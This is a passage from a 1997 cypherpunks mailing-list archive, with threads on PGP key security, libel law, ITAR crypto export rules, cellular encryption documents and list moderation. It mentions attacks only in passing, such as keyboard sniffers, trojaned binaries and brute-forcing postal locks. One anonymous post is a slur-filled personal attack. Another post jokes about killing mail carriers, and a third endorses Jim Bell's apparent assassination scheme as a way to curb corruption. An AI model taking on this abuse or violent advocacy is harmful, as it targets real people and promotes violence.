with version 2.6.3kgb, which uses your hashed passphrase as the
session key, you're hosed.  Or if he installed a keystroke sniffer,
or added a small radio transmitter to your keyboard, or whatever.
Depends on your threat model.  If you need to be paranoid,
they've already gotten you....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Gurski <mgursk1@umbc.edu>
Date: Sat, 1 Feb 1997 09:14:01 -0800 (PST)
To: cypherpunks list <cypherpunks@toad.com>
Subject: Stronghold -- unsubstatiated claims (was Re: David E. Smith / Known Flamer)
In-Reply-To: <L2eg2D37w165w@bwalk.dm.com>
Message-ID: <Pine.OS2.3.95.970201121046.9209C-100000@klinzhai.nanticoke.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 1 Feb 1997, Dr.Dimitri Vulis KOTM wrote:

> Both messages dealt were criticial of Sandy's employer, C2, and
> exposed their main product, Stronghold, as a fraud.

I assume that since you're making this claim about Stronghold, you
have facts to back it up?

|\/|ike Gurski  mgursk1@umbc.edu  http://www.gl.umbc.edu/~mgursk1/
finger/mail subject "send pgpkey"|"send index"  Hail Eris! -><-  O- |Member,
1024/39B5BADD PGP Keyprint=3493 A994 B159 48B7 1757 1E4E 6256 4570  |   Team
My opinions are mine alone, even if you should be sharing them.     |   OS/2
	    Senate Finance Committee Chair, SGA 1996-1997

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: I am not a number, I am a free man!

iQCVAwUBMvN5YyKEMrE5tbrdAQHAPAP/fPLrPXcWySUn9y/fYJcAMtdJlQF8AH9p
VEzlBMGM3qMEZcWW6no3TBN09MQgRH0xO7xHkHv/qaCZWxWYZYuJzvPXiCMChH3u
L1sBMUqn7OZK5afLDjer2CvNd/dH1nAtUIfl6tEcePMrbi4e61uJ/Y70Q9JlZeoz
AwDWPLw88gc=
=zhfk
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Sat, 1 Feb 1997 12:49:54 -0800 (PST)
To: alan@ctrl-alt-del.com (Alan Olsen)
Subject: Re: Key Security Question
In-Reply-To: <199702011955.LAA24678@toad.com>
Message-ID: <199702012048.MAA27571@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Alan Olsen writes:
> At 10:41 AM 1/31/97 -0800, Z.B. wrote:
> >My computer went into the shop a few days ago, and I was unable to take
> >my PGP keys off it before it went in.  What are the security risks here?
> >If the repairman chooses to snoop through the files, what would he be
> >able to do with my key pair?  Will I need to revoke the key and make a
> >new one, or will I be relatively safe since he doesn't have my
> >passphrase?
> 
> Depends on how guessable your passphrase is.  If you use something that would
> fall to a dictionary attack, then you are vulnerable.  (Providing that they
> actually looked for your keyring and made a copy.)
> 
> If you had nyms on your keyring, then those nyms can be associated with your
> "true name" with no passphrase required.  (Unless you keep your keyring
> encrypted. Private Idaho supports encrypted keyrings, but little else does.)

Other attacks would be installing a keyboard sniffer, replacing your
PGP binary with a trojan that records your passphrase, etc.
This sort of stuff is quite possible but not likely.  Yet.
 
> If you are really concerned about it, you could learn to do your own computer
> repairs.

Or put your PGP keys on removeable media.

-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sat, 1 Feb 1997 09:48:24 -0800 (PST)
To: pete@idaho.ubisg.com>
Subject: Re: Libel & the 1st Amendment
In-Reply-To: <199702011633.LAA20630@idaho.ubisg.com>
Message-ID: <Pine.LNX.3.95.970201125020.909A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 1 Feb 1997, Peter J. Capelli wrote:

> 	You mean to say, rich people can overcrowd the courts as much as they
> like, while others are restricted by contigency-only lawyers ( Call 
> 1-800-AMBULANCE! ) ... and what of the case of a rich person trying to
> control
> a poor one with many frivolous lawsuits ... while they can afford to file 
> lawsuit after lawsuit, the poor person cannot defend himself.

What, exactly, would be the point of suing a poor person?


Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 1 Feb 1997 13:56:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Junger web site
In-Reply-To: <199702010347.WAA21877@upaya.multiverse.com>
Message-ID: <199702012156.NAA20854@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


PJ sent me his web site which others may be interested in,
with pointers to Karn and Bernstein:

http://samsara.law.cwru.edu/comp_law/crypto_export/

so, essentially, there are now 3 pretty significant cases
challenging ITAR on constitutional grounds, which I find
highly encouraging. of course the Bernstein case has already
had very positive results so far.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 1 Feb 1997 15:04:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Libel, Times v. Sullivan
Message-ID: <3.0.32.19970201144910.0068e100@ricochet.net>
MIME-Version: 1.0
Content-Type: text/plain



Someone (Igor?) suggested I said that libel can't be criminalized. I don't
think that's correct, but I may have been unclear. I haven't researched the
question and can't call to mind a case directly on point, but my hunch is
that states may criminalize libel, but a conviction would require that the
state prove, beyond a reasonable doubt (because it's a criminal case), and
that the defendant acted with actual malice (because the state is seeking
to punish speech, and punitive damages in civil cases require proving
actual malice). "Actual malice" means that the defendant said something
s/he knew was untrue or recklessly disregarded the truth of what s/he said.
(This excludes, for example, an "honest mistake" about what's true.) _Times
v. Sullivan_, the case which introduced the actual malice standard,
discussed Alabama's criminal libel statute - so the Supreme Court, in the
mid 60's, didn't seem to have a problem with criminalizing libel. I can't
seem to find a criminal libel statute in California; and if I remember
correctly the Oregon Legislature contemplated but did not pass one during
its last legislative session. 

Also, people interested in _Times v. Sullivan_ and the interplay between
defamation and the First Amendment might find "Make No Law: The Sullivan
Case and the First Amendment" by Anthony Lewis (ISBN 0-697-73939-4) of
interest. The decision itself is online at
<http://www.findlaw.com/scripts/getcase.pl?court=US&navby=case&vol=376&invol
=254> - the factual summary of the Sullivan case posted here was not
correct, and the first few pages of the opinion provide a description of
the underlying facts.

Since we've now got Jim Bell arguing that it's obvious that a free and open
society must tolerate anything which might be defamatory, and Jim Choate
arguing that it's obvious that a free and open society cannot tolerate
anything which might be defamatory, I think I'm going to wander away from
this discussion confident that the answer is, at least, nonobvious. :)


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sat, 1 Feb 1997 15:15:24 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Cyphernomicon by Tim May
Message-ID: <01BC1053.485521C0@king1-06.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto, quoting the Cyphernomicon

3.5.1 Contrary to what people sometimes claim, there is no ruling
       clique of Cypherpunks. Anybody is free to do nearly anything,
       just not free to commit others to course of action, or claim
       to speak for the "Cypherpunks" as a group (and this last
       point is unenforceable except through reputation and social
       repercussions).
.........................................................................

Toto, I'm surprised at how seriously you take the underlying anarchist 
philosophy of the list; you identify so closely with it, and have responded 
to its moderation as though it really would be "the end of freedom", even 
though you seem to have appeared, or else come out of lurking, only 
recently.   Is this because you value anarchy, or free speech, or the 
existence of the Cypherpunks as a unique group of stray cats [ :>) ]?


Side note:
Since Tim isn't on the list and hasn't been for a month, I've been 
wondering if it had anything to do with the moderation experiment, although 
it is unlike him to have left without either an argument or at least some 
kind of statement about it.

    ..
Blanc







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 1 Feb 1997 15:31:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Crypto in New Zealand - an update
Message-ID: <3.0.32.19970201151843.006ec2d0@192.100.81.137>
MIME-Version: 1.0
Content-Type: text/plain


At 06:03 AM 2/2/97, pgut001@cs.auckland.ac.nz wrote:
[...]
>The following week Andrew Mayo wrote a letter to the editor of the NBR
>containing an eloquent defense of the use of encryption to protect personal
>privacy.  MFAT replied to say that they were only following orders, and were
>required by the Wassenaar agreement to restrict crypto exports:
[...]

Just for clarification, it is the Wassenaar *arrangement* (somehow the term
is more fitting anyway...) and it does *not* require the signatory
countries to implement crypto export controls.

Not that this will make any difference, since it would be the first time
that a government would allow facts to stand in the way of politics.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 1 Feb 1997 15:54:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Degaussing diskettes
Message-ID: <199702012354.PAA11855@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dopehead L[ice] Vilus K[rust]OfTheMoment wears satin lingerie
embroidered with pink swastikas, prancing around for his faggot,
AIDS infected lovers.

             \|/
             @ @
        -oOO-(_)-OOo- Dr.Dopehead L[ice] Vilus K[rust]OfTheMoment






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 1 Feb 1997 13:16:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: More on Cellular Encryption Docs
Message-ID: <1.5.4.32.19970201211055.006e3984@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Here's more on the controlled documents for cellular encryption
from TIA/EIA we described in a 26 January post to cpunks:

Sharon Vargish of TIA (1-703-907-7702) sent the documents after 
I signed and returned the NDA:

   TR45.0.A
   Common Cryptographic Algorithms, Revision B
   June 21, 1995, 72 pp. (With ITAR notice on every page)

   TR45.0.A
   Interface Specification for Common Cryptographic Algorithms,
   Revision B, August 6, 1996, 15 pp. (No ITAR notice, but 
   "sensitive information should be protected from general 
   distribution.")

   TR45
   Appendix A to PN-3474 (IS-36)
   October 16, 1995, 10 pp. (ITAR notice on every page.)

   TR45
   Appendix-A to TIA/EIA 627
   December 23, 1996, 7 pp. (No ITAR, but "sensitive"notice)

"Common Cryptographic Algorithms" (CCA) supercedes the 1992 
CAVE document, but is considerbly longer -- 72 pp. for the latest
compared to 25 pp. for the 1992 version.

Here're the CCA's TOC and Introduction:

Table of Contents

1. Introduction 
   1.1. Notations 
   1.2. Definitions 

2. Procedures 

   2.1. Authentication Key (A-Key) Procedures
        2.1.1. A-Key Checksum calculation            
        2.1.2. A-Key Verification

   2.2. SSD Generation and Update
        2.2.1. SSD Generation Procedure            
        2.2.2. SSD Update Procedure

   2.3. Authentication Signature Calculation Procedure

   2.4. Encryption Key and VPM Generation Procedure
        2.4.1. CMEA key Generation            
        2.4.2. Voice Privacy Mask Generation

   2.5. CMEA Encryption/Decryption Procedure

   2.6. Wireless Residential Extension Procedures
        2.6.1. WIKEY Generation            
        2.6.2. WIKEY Update Procedure            
        2.6.3. Wireline Interface Authentication Signature 
               Calculation Procedure            
        2.6.4. Wireless Residential Extension Authentication 
               Signature Calculation Procedure

   2.7. Cellular Data Encryption 
        2.7.1. Data Encryption Key Generation Procedure            
        2.7.2. Data Encryption Mask Generation Procedure

3. TEST VECTORS

   3.1. CAVE Test Vectors
        3.1.1. Vector 1           
        3.1.2. Vector 2            
        3.1.3. Test Program

   3.2. Wireless Residential Extension Test Vectors
        3.2.1. Input data            
        3.2.2. Test program            
        3.2.3. Test Program Output

   3.3. Data Encryption Test Vector
        3.3.1. Input data            
        3.3.2. Test Program            
        3.3.3. Test Program Output
  
1. Introduction

This document describes detailed cryptographic procedures for 
cellular system applications. These procedures are used to 
perform the security services of mobile station authentication, 
subscriber message encryption, and encryption key and subscriber 
voice privacy key generation within cellular equipment.

This document is organized as follows:

§2 describes the Cellular Authentication, Voice Privacy and 
Encryption (CAVE) algorithm used for authentication for mobile 
subscriber equipment and for generation of cryptovariables to 
be used in other procedures.

§2.1 describes the procedure to verify the manual entry of the 
subscriber authentication key (A-key).

§2.2 describes the generation of intermediate subscriber 
cryptovariablcs, Shared Secret Data (SSD), from the unique and 
private subscriber A-key.

§2.3 describes the procedure to calculate an authentication 
signature used by cellular base station equipment for verifying 
the authenticity of a mobile station.

§2.4 describes the procedures used for generating cryptographic 
keys. These keys include the Voice Privacy Mask (VPM) and the 
Cellular Message Encryption Algorithm (CMEA) key. Thc VPM is used 
to provide forward link and reverse link voice confidentiality 
over the air interface. Thc CMEA key is used with the CMEA 
algorithm for protection of digital data exchanged between the 
mobile station and the base station.

§2.5 describes the Cellular Message Encryption Algorithm (CMEA) 
used for enciphering and deciphering subscriber data exchanged 
between the mobile station and the base station.

§2.6 describes the procedures for key and authentication 
signature generation for wireless residential extension 
applications.

§2.7 describes the ORYX algorithm and procedures for key and mask 
generation for encryption and decryption in cellular data services.

§3 provides test data (vectors) that may be employed to verify 
the correct operation of the cryptographic algorithms described 
in this document. ...

[End CCA Introduction]

The related CCA Interface Specification "describes the interfaces
to cryptographic procedures for cellular system applications"
described in the CCA. Its purpose "is to describe the cryptographic
functions without revealing the technical details that are subject
to" ITAR.

The two Appendices A to IS-136 and 627 "contain requirements for 
message encryption and voice privacy for cellular systems" 
supplemental to those described in the main documents, the CCA and 
the CCA Interface Specs.

-----

This note will be put with other CAVE info at:

   http://jya.com/cave.htm

Thanks to TIA/EIA for prompt and courteous reply to our requests. Maybe
they welcome help persuading USG/NSA to allow stronger crypto and
boost the market for cellular systems.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Sat, 1 Feb 1997 14:42:51 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702012305.SAA24688@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On  1 Feb 97 at 9:39, Duncan Frissell wrote:

> Mail Storage Box keys?

I think they use combination locks, actually. Supposedly it's the same
combination nationally too.

There was an article in 2600 Magazine about that. The locks are 
actually 'insecure' and you can test every possible combo in about
10-20 minutes.

- --Rob

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMvPFpgTNlSxdPy6ZAQF7QAf+IFPhGavlD7p5WFsmhESHi+PKd9msqYhN
pxl8ZdUZMDJg61F6nLF4Oa7rfoCmzDXqP4w0WU1pk8MkkwwVb9oTTJg2k4hY4AKr
IixesiAcDlGc9+11314Nao+PuU6epJYmLddGSIc0Ra3FKrqamyueW6qunsJQT1Z6
5E/BiqpEGAiEGqog9J/xXtSra4q9g1SzrMCGcR5z077gCzb5ONxIgWzQ6zlL0leb
X1Y9pzABnm1iJbq7Q2HRAVAQVBiPC/vg+hW8COfao4XHGqsqVg2UBcZWT8TdbV4N
cwqVw5fDpoZXPyQtzRynmq55xH4OIJWZ2HnNNK3KHdRcyS+JW24MBQ==
=oAVd
-----END PGP SIGNATURE-----

-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 1 Feb 1997 17:56:42 -0800 (PST)
To: "Mark M." <cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment
Message-ID: <199702020156.RAA13867@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:52 PM 2/1/97 -0500, Mark M. wrote:
>On Sat, 1 Feb 1997, Peter J. Capelli wrote:
>
>> 	You mean to say, rich people can overcrowd the courts as much as they
>> like, while others are restricted by contigency-only lawyers ( Call 
>> 1-800-AMBULANCE! ) ... and what of the case of a rich person trying to
>> control
>> a poor one with many frivolous lawsuits ... while they can afford to file 
>> lawsuit after lawsuit, the poor person cannot defend himself.
>
>What, exactly, would be the point of suing a poor person?

To quiet him from political dissent, presumably.  I think the term coined a 
few years ago was "SLAPP", something akin to "Strategic Lawsuit Against 
Public Policy," or similar.  

For example, "Company A" wants to build a mine or factory or something 
similar at a location.  Citizens object, causing political problems.  
Company sues the individuals for damages, which costs the individuals a 
great deal of money to defend against even if they never lose the suit.

The real problem is actually a series of mistakes:

1.  Individual should not be able to cause political problems for company.

2.  "Government" should not be able to impact company activities short of 
actual harm.

3.  Company should not be able to impact individual by suing except for 
actual harm done by that individual.


Naturally, the source of these problems is that by each of their existence, 
lawyers make more money.


As usual, I have a solution to that problem.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 1 Feb 1997 18:23:46 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Cyphernomicon by Tim May
In-Reply-To: <32F32D6C.126C@sk.sympatico.ca>
Message-ID: <32F3F8FB.154B@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> 3.5.1 Contrary to what people sometimes claim, there is no ruling
>        clique of Cypherpunks. Anybody is free to do nearly anything,
>        just not free to commit others to course of action, or claim
>        to speak for the "Cypherpunks" as a group (and this last
>        point is unenforceable except through reputation and social
>        repercussions).
> 3.6.3 "Why isn't the list moderated?"
>       ...hardly consistent with many of our anarchist leanings, is it?
>       - "No, please, let's not become a 'moderated' newsgroup. This
>       would be the end of freedom!

Is this why T.C. May hasn't posted in quite a while?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 1 Feb 1997 19:00:47 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: More on Cellular Encryption Docs
In-Reply-To: <199702012359.PAA00661@toad.com>
Message-ID: <3.0.1.32.19970201183101.006369c8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:10 PM 2/1/97 -0500, John Young wrote:
>Here's more on the controlled documents for cellular encryption
>from TIA/EIA we described in a 26 January post to cpunks:
...
>   TR45.0.A
>   Common Cryptographic Algorithms, Revision B
>   June 21, 1995, 72 pp. (With ITAR notice on every page)

Of course, ITAR as recently modified says it's ok to send this
stuff overseas to foreigners, as long as it's on paper.
There may be separate restrictions on sending it, or on copying,
but they're based on copyright or contractual non-disclosure.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 1 Feb 1997 18:34:43 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: Re: Cyphernomicon by Tim May
In-Reply-To: <01BC1053.485521C0@king1-06.cnw.com>
Message-ID: <32F3FC93.7269@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


blanc wrote:
> From:   Toto, quoting the Cyphernomicon
> 3.5.1 Contrary to what people sometimes claim, there is no ruling
>        clique of Cypherpunks. Anybody is free to do nearly anything,
>        just not free to commit others to course of action, or claim
>        to speak for the "Cypherpunks" as a group (and this last
>        point is unenforceable except through reputation and social repercussions).

> Toto, I'm surprised at how seriously you take the underlying anarchist
> philosophy of the list; you identify so closely with it, and have responded
> to its moderation as though it really would be "the end of freedom", even
> though you seem to have appeared, or else come out of lurking, only
> recently.   Is this because you value anarchy, or free speech, or the
> existence of the Cypherpunks as a unique group of stray cats [ :>) ]?
> Side note: Since Tim isn't on the list and hasn't been for a month, I've been
> wondering if it had anything to do with the moderation experiment, although
> it is unlike him to have left without either an argument or at least some
> kind of statement about it.

Maybe Tim's Last Words got "lost", eh?  So far, several people have
stated that "it could happen".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 17:25:59 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: "Secret" Postal Device stolen
In-Reply-To: <3.0.1.32.19970201115431.047a4e50@popd.ix.netcom.com>
Message-ID: <32F4011A.1B3C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
 
> >>>Postal Service offers $25,000 reward for stolen . . . something
 
> I was also guessing keys - truck keys are a less subtle target than
> box storage keys, and telling every thug in the country that
> mail trucks are an easy target, just take the keys from the carrier,
> seems almost worth sounding really stupid in public to avoid.
> They did say that it wasn't something they carried in their pockets,
> but do mail carriers hang their keys on their belts?

  Mail carriers in some areas carry keys for buildings with security
doors (sometimes Master keys).
  Or perhaps they've taken over the CIA's crack distribution route.

  Is anyone on the list willing to 'knock off' a couple of mail
carriers and get back to us with a definitive answer on this?
 (Doesn't this kind of thing fall under the moderator's job
description?)

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 1 Feb 1997 19:14:13 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Libel, Times v. Sullivan
Message-ID: <199702020313.TAA20622@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:52 PM 2/1/97 -0800, Greg Broiles wrote:

>Also, people interested in _Times v. Sullivan_ and the interplay between
>defamation and the First Amendment might find "Make No Law: The Sullivan
>Case and the First Amendment" by Anthony Lewis (ISBN 0-697-73939-4) of
>interest. The decision itself is online at
><http://www.findlaw.com/scripts/getcase.pl?court=US&navby=case&vol=376&invol
>=254> - the factual summary of the Sullivan case posted here was not
>correct, and the first few pages of the opinion provide a description of
>the underlying facts.
>
>Since we've now got Jim Bell arguing that it's obvious that a free and open
>society must tolerate anything which might be defamatory, and Jim Choate
>arguing that it's obvious that a free and open society cannot tolerate
>anything which might be defamatory, I think I'm going to wander away from
>this discussion confident that the answer is, at least, nonobvious. :)

Your last paragraph looks like an exercise of the silly game the TV show "60 
minutes" producers often play when they read the letters from the audience 
about a previous report on a controversial subject.  They first read a 
letter from an outraged viewer who claims that the TV show's producers must 
have been biased in one direction, and then they read another letter from a 
different viewer who alleges they showed a bias in the opposite direction.  
The show is trying to leave you with the impression that they MUST have been 
unbiased, because they are being accused of diametrically opposite leanings.

All they are really showing is that given the hundreds and probably 
thousands of letters they receive on each show weekly (which are, by 
definition, written by self-motivated people) they can get at least one on 
each end of the spectrum for whatever subject they've just covered.   Not 
surprising.   (If anything, I'd be surprised if they ever DON'T recieve at 
least two such letters which could be misused in this way...)

So before you "wander away," perhaps you ought to explain why we NEED 
defamation laws?  The sun would still rise tomorrow morning absent them.  A 
few feelings might be hurt, that's true, but on the other hand the implied 
endorsement of The State ("If that statement wasn't true, he couldn't print 
it!") has a, cumulatively, far greater impact on all of us.

A clue is present in the likely fact that the origins of defamation laws 
were primarily to keep the king and the upper-crust free of printed and 
verbal attack directed by the lower-classes, even given the presence of 
whatever nominal "free-speech" guarantees were present.  Explain, for 
example, that while it is now universally recognized by the truth is a 
defense for libel accusations, it was NOT true when William Penn went on 
trial for libel in the late 1600's.






Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 1 Feb 1997 19:19:50 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Free & Open Society & toleration
In-Reply-To: <199702020201.UAA00977@einstein>
Message-ID: <32F40783.5EBF@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> It has been asserted that I am claiming that a free and open society should
> not abide any and all actions in contrast to Jim Bell's assertion that a
> free and open society must tolerate any action.
> This is not my case at all. I hold that a DEMOCRATIC society with a HEALTHY
> ECONOMIC system must have some minimum standards on what is allowed. By no
> means do I hold that the ONLY means of a free and open society is a democracy.
> It is quite possible to have an anarchy which would also be a free and open
> society and by DEFINITION would tolerate any action by its members acting
> individualy or in concert.

[snip]

Nobody has a problem with your ideals, it's just that Jim Bell is
trying to say (correct me and forgive me if I'm wrong) that:

1. Society will never subscribe to your ideals.
2. Society is not static, i.e., instead of remaining at a constant
   level of corruption, the officials will keep demanding more,
   until there's a sudden, catastrophic break.
3. The AP solution has the potential to stabilize the level of
   corruption, which should make violent revolutions and genocide
   unnecessary.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 17:26:05 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Crypto in New Zealand - an update
In-Reply-To: <3.0.32.19970201151843.006ec2d0@192.100.81.137>
Message-ID: <32F4096D.789@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote: 
> At 06:03 AM 2/2/97, pgut001@cs.auckland.ac.nz wrote:
> [...]
> >The following week Andrew Mayo wrote a letter to the editor of the NBR
> >containing an eloquent defense of the use of encryption to protect personal
> >privacy.  MFAT replied to say that they were only following orders, and were
> >required by the Wassenaar agreement to restrict crypto exports:
> [...]

  MFAT doesn't put crypto in the ovens, they just turn on the gas.
 
> Just for clarification, it is the Wassenaar *arrangement* (somehow the term
> is more fitting anyway...) and it does *not* require the signatory
> countries to implement crypto export controls.
 
> Not that this will make any difference, since it would be the first time
> that a government would allow facts to stand in the way of politics.

  ...or allow 'citizens' to stand in the way of politics.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 1 Feb 1997 18:00:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Free & Open Society & toleration
Message-ID: <199702020201.UAA00977@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

It has been asserted that I am claiming that a free and open society should
not abide any and all actions in contrast to Jim Bell's assertion that a
free and open society must tolerate any action.

This is not my case at all. I hold that a DEMOCRATIC society with a HEALTHY
ECONOMIC system must have some minimum standards on what is allowed. By no
means do I hold that the ONLY means of a free and open society is a democracy.
It is quite possible to have an anarchy which would also be a free and open
society and by DEFINITION would tolerate any action by its members acting 
individualy or in concert.

I hold that for a democratic society to retain concepts of freedom and
equity under the law as well as be economicaly viable, especialy in an
environment where 'reputation' is critical such as a network over which
economic transactions can take place with nothing more than a email order
and a EFT, must not provide ex post facto AND carte blanche protection of
the speech of the citizens. For such a system to operate requires a
'reputation' system to be in place. For such a system to be viable it MUST
protect those reputations otherwise the concept of a 'contract' is
worthless. I DO hold that this system MUST provide a priori protection of
all speech. I further hold that any distinction between the 'government'
and the people of a nation is a false and misleading distinction which is
not in the best interest of the society because it by DEFINITION promotes a
class society which is by definition contrary to the goal of equity under a
democracy. It further provides a mechanism by which the representatives of
the 'state' may claim immunity from the very standards they are charged with
enforcing. This is because the charter of such a society is itself simply a
contract between any arbitrary individual of that society and the sum total
of the remaining citizenry (ie the 'state').

I further hold that one of the current legal practices based on precidence
which MUST be replaced is our system dealing with defamation. I further hold
that our current system of legal representation is inherently  flawed and
prevents equal representation under the law.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com

            




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 18:22:07 -0800 (PST)
To: Phillip M Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: Fighting the cybercensor
In-Reply-To: <199702020129.UAA28314@life.ai.mit.edu>
Message-ID: <32F411DF.75C7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Phillip M Hallam-Baker wrote:
> The problem is that you are a crushing bore. You peddle your crackpot
> scheme long after it has been made plain nobody is interested.

  I also thing that the other list members involved in this thread are
'nobodies', but I was too polite to say anything.
 
> Yet another reason to believe you are an FBI agent provocateur.

  I agree. He just strips down to his badge, but never 'comes across'.
 
>         Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sat, 1 Feb 1997 20:14:17 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: "Strong" crypto and export rule changes.
Message-ID: <v02140b05af19b18d73ac@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>        What the US government will allow to be exported is not "strong
>encryption."  It is encryption only slightly too strong to be broken
>by an amateur effort.  For the right investment in custom hardware, it
>falls quickly.  (500,000 $US = 3.5 hour avg break).
>

Considering Ian's feat you certainly seem to have had your crystal ball in hand.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M Hallam-Baker" <hallam@ai.mit.edu>
Date: Sat, 1 Feb 1997 17:30:38 -0800 (PST)
To: "jim bell" <jimbell@pacifier.com>
Subject: Re: Fighting the cybercensor
Message-ID: <199702020129.UAA28314@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


> I'm still waiting for you to explain what you believe to be the "problem"

> for which we are searching a solution.  

The problem is that you are a crushing bore. You peddle your crackpot
scheme long after it has been made plain nobody is interested.

Yet another reason to believe you are an FBI agent provocateur.

	Phill





